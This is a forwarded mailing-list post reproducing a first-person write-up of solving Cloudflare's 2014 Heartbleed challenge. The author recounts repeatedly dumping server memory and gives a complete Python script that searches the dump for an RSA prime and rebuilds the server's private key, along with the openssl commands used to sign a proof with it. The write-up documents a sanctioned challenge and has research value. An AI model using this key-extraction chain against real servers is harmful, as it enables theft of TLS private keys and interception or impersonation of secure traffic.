1. On Sun, Apr 13, 2014 at 2:16 AM, rysiek <rysiek@hackerspace.pl> wrote:
2. > Hi there,
3. >
4. > https://gist.github.com/epixoip/10570627
5.  
6. ----
7.  
8. I wasn't first to get the key. Nor was I second, third, or even
9. fourth. I'm probably not even the
10. 10th to get it. But I'm happy that I was able to prove to myself that
11. I too could do it.
12.  
13. The sleepless adventure began yesterday afternoon, 2014-04-12
14. 15:19:04.827516279 -0700.
15.  
16. First, I have to admit I was a skeptic. Like the handful of other
17. dissenters, I had initially
18. believed that it would be highly improbable under normal conditions to
19. obtain the private key
20. through exploiting Heartbleed. So this was my motivation for
21. participating in Cloudflare's
22. challenge. I had extracted a lot of other things with Heartbleed, but
23. I hadn't actually set out to
24. extract private keys. So I wanted to see first-hand if it was possible or not.
25.  
26. I started by hastily modifying the hb-test.py that everyone has been
27. using to dump the raw memory
28. contents to a file, rather than print a hexdump. I then left this
29. running in the background for a
30. (very long) while, as I set off to think of an approach.
31.  
32.     while true; do python hb-raw.py www.cloudflarechallenge.com; done
33.  
34.  
35. My original thinking was that I could get a large sample of memory,
36. then use some forensic analysis
37. tools to search for keys in the memory dump. This idea went to the
38. wayside, however, as I got
39. sidetracked when I started seeing "BEGIN RSA PRIVATE KEY" strings in
40. the script output.
41.  
42.     http://bindshell.nl/epixoip/cloudflare_key.png
43.  
44.  
45. I thought it was too good to be true, but after parsing it out, it was
46. indeed a valid private key,
47. so I submitted it -- unsuccessfully. This turned out to be the work of
48. trolls who were sending
49. private key contents in heartbeat requests to the server, and I fell
50. for the trollbait. I found
51. several more `private keys' in the dump, and I skeptically tested them
52. anyway, just in case. But
53. they were all fake as well. Fucking trolls. But at least I didn't fall
54. for any of the keys that
55. ended in "LOLJK" ;)
56.  
57. So, I decided to get back on track and stick to my original plan.
58. After searching through some
59. forensics mailing lists and reading some papers on the topic, my plan
60. was to parse my dump file,
61. looking for the start of a key in ASN.1 format ("\x30\x82"), and then
62. parse out the key from there.
63.  
64. While working on this approach, I had a conversation with Brandon
65. Enright (@bmenrigh) on IRC. This
66. conversation left me thinking that my approach won't work, because the
67. chances of the key being in
68. ASN.1 DER format in memory are about as slim as the key being in PEM
69. format in memory. Brandon,
70. however, suggested a much more reasonable approach:
71.  
72. (19:25:15) < bmenrigh> But my plan would be to interpret all possible
73. portions of the memory dump
74. as however the P and Q factors get encoded and then just trial divide
75. the N modulus from the SSL
76. cert until you get one that divides
77. (19:26:38) < bmenrigh> you only get up to about 64k of memory on each
78. grab so if you interpret
79. every offset as the start of the dump as whatever a private key looks
80. like it just isn't many trial
81. divisions
82.  
83.  
84. By this time though, I had already been working on this for several
85. hours, and it was Friday night,
86. so I didn't want to spend any more time on it. However, I gave it some
87. more thought over dinner,
88. and the more I drank, the more I realized it was far more likely that
89. the binary values of p, or q,
90. or both, were in memory as-is. They likely wouldn't be encoded at all,
91. so we can just shift through
92. the memory dump in $keysize chunks, converting them to bignums and
93. doing the trial divide as Brandon
94. suggested. This would be really easy to code up and test, so I decided
95. to call it an early night,
96. and rushed home to work on it while the thought (and the liquor) were
97. still fresh in my brain.
98.  
99. The version of hb-test.py that I already had running in the background
100. was dumping memory in 16 KiB
101. chunks, not the full 64 KiB, so the plan would be to read the memory
102. dump in 16 KiB chunks,
103. shifting through each chunk in $keysize sections, testing to see if we
104. have a prime that the
105. modulus is divisible by. I sketched out the following psuedocode:
106.  
107.     while (chunk = fread (file, 16384))
108.     {
109.         for (offset = 0; offset < len(chunk)-keysize; offset++)
110.         {
111.                 p = bignum (chunk[offset-1] .. chunk[offset+keysize-1])
112.                 if (p is prime and modulus % p == 0)
113.                 {
114.                         q = modulus / p;
115.                         print p, q;
116.                 }
117.         }
118.     }
119.  
120.  
121.  
122. After a few hours of testing and debugging, lo and behold, one of the
123. primes is in my dump. Several
124. times, even. From here, it is trivial to get the private key given p/q
125. and the modulus.
126.  
127.  
128. I ended up with the following script:
129.  
130.  
131. import sys, base64, gmpy
132. from pyasn1.codec.der import encoder
133. from pyasn1.type.univ import *
134.  
135. def main ():
136.         n = int (sys.argv[2], 16)
137.         keysize = n.bit_length() / 16
138.         with open (sys.argv[1], "rb") as f:
139.                 chunk = f.read (16384)
140.                 while chunk:
141.                         for offset in xrange (0, len (chunk) - keysize):
142.                                 p = long (''.join (["%02x" % ord
143. (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1,
144. -1)]).strip(), 16)
145.                                 if gmpy.is_prime (p) and p != n and n % p == 0:
146.                                         e = 65537
147.                                         q = n / p
148.                                         phi = (p - 1) * (q - 1)
149.                                         d = gmpy.invert (e, phi)
150.                                         dp = d % (p - 1)
151.                                         dq = d % (q - 1)
152.                                         qinv = gmpy.invert (q, p)
153.                                         seq = Sequence()
154.                                         for x in [0, n, e, d, p, q,
155. dp, dq, qinv]:
156.  
157. seq.setComponentByPosition (len (seq), Integer (x))
158.                                         print "\n\n-----BEGIN RSA
159. PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" %
160. base64.encodestring(encoder.encode (seq))
161.                                         sys.exit (0)
162.                         chunk = f.read (16384)
163.                 print "private key not found :("
164.  
165. if __name__ == '__main__':
166.         main()
167.  
168.  
169.  
170. (I'm sorry if this code offends any python aficionados, but I do not
171. write in python very often.)
172.  
173. Putting it all together,
174.  
175.  
176. epixoip@token:~$ while true; do python hb-raw.py
177. www.cloudflarechallenge.com; done
178.  
179. epixoip@token:~$ echo | openssl s_client -connect
180. www.cloudflarechallenge.com:443 -showcerts | openssl x509 >
181. cloudflare.pem
182. depth=4 C = SE, O = AddTrust AB, OU = AddTrust External TTP Network,
183. CN = AddTrust External CA Root
184. verify error:num=19:self signed certificate in certificate chain
185. verify return:0
186. DONE
187.  
188. epixoip@token:~$ openssl x509 -pubkey -noout -in cloudflare.pem >
189. cloudflare_pubkey.pem
190.  
191. epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509
192. -in cloudflare.pem -modulus -noout | cut -d'=' -f2) >
193. cloudflare_privkey.pem
194.  
195. epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign
196. cloudflare_privkey.pem -sha1 >signed_proof.bin
197.  
198. epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify
199. cloudflare_pubkey.pem -signature signed_proof.bin -sha1
200. Verified OK
201.  
202.  
203. And just so anyone else can verify it if they wish,
204.  
205. epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign
206. cloudflare_priv.pem -sha1 | base64
207. XQT3ZRp1zqK++UUZEWQkib2MX9tiUTN3VEA2G4mj4n86cmc0hTEAS2GO1AgkmoVgshFR/JYxlX74
208. s+DHPn4PbyAUB4eC+AqS6T+Wc6PR/Jo4XkF9MTsqLviB/jzSt0wl9pld2RbwMNAToE+HGu5vP4PZ
209. wfW6P5E5HTb/lTsONSubJj9FhZWkDNJPn+d0l/8rS4e9AYvQRII8JGfXAa7BOHgT57qw5F03dE8n
210. srtAu04CSpos25DdgZN47yCecMKETxWe3PeiyeMIbj6OyLdjF/+JUDeN85vXTUx0P7AzOqCeHNon
211. 3uBX7CQZgpl30oaqdCFQcdIOhTb2QwdE3FvSzA==
212.  
213.  
214. So there you have it. I submitted my proof to Cloudflare about 7 hours
215. ago, so I effectively spent
216. a whole day on it. I wasn't the first to get it, probably not even the
217. 10th. And I did need some
218. guidance (thanks Brandon!) But overall, I am pleased. The next step
219. would be to integrate this into
220. hb-test.py, or ideally just re-write the whole damn thing top-to-bottom in C.